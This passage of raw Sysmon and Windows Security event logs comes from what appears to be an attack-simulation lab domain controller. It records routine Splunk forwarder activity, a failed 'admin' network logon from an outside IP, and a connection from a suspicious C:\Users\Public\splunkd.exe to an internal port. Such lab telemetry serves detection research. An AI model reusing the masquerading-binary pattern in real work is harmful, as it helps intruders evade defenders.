AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.672\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00102A200300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.672","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00102A200300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":1807,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.512\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nProcessId: 2504\r\nQueryName: win-dc-9849183\r\nQueryStatus: 0\r\nQueryResults: 10.0.1.14;\r\nImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.512","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010320F0200}","QueryName":"win-dc-9849183","QueryStatus":"0","QueryResults":"10.0.1.14;","Image":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":1808,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.872\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nProcessId: 2760\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.872","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010460F0200}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":1809,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.874\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: win-dc-9849183\r\nQueryStatus: 0\r\nQueryResults: 10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.874","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"win-dc-9849183","QueryStatus":"0","QueryResults":"10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221483,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59239\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59239","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.906\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-00102A200300}\r\nSourceProcessId: 3720\r\nSourceThreadId: 3692\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.906","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-00102A200300}","SourceProcessId":"3720","SourceThreadId":"3692","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":1813,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: Usermode\r\nUtcTime: 2020-08-07 11:49:56.911\r\nProcessGuid: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nProcessId: 2940\r\nImage: C:\\Users\\Public\\splunkd.exe\r\nUser: NT AUTHORITY\\SYSTEM\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 49689\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 10.0.1.12\r\nDestinationHostname: \r\nDestinationPort: 7010\r\nDestinationPortName: ","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","RuleName":"Usermode","UtcTime":"2020-08-07 11:49:56.911","ProcessGuid":"{90617006-3FDB-5F2D-0000-00103EF90100}","Image":"C:\\Users\\Public\\splunkd.exe","User":"NT AUTHORITY\\SYSTEM","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"49689","DestinationIsIpv6":"false","DestinationIp":"10.0.1.12","DestinationPort":"7010","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.034\r\nProcessGuid: {90617006-3FE7-5F2D-0000-00100E2D0300}\r\nProcessId: 3832\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.034","ProcessGuid":"{90617006-3FE7-5F2D-0000-00100E2D0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18192|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18192|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 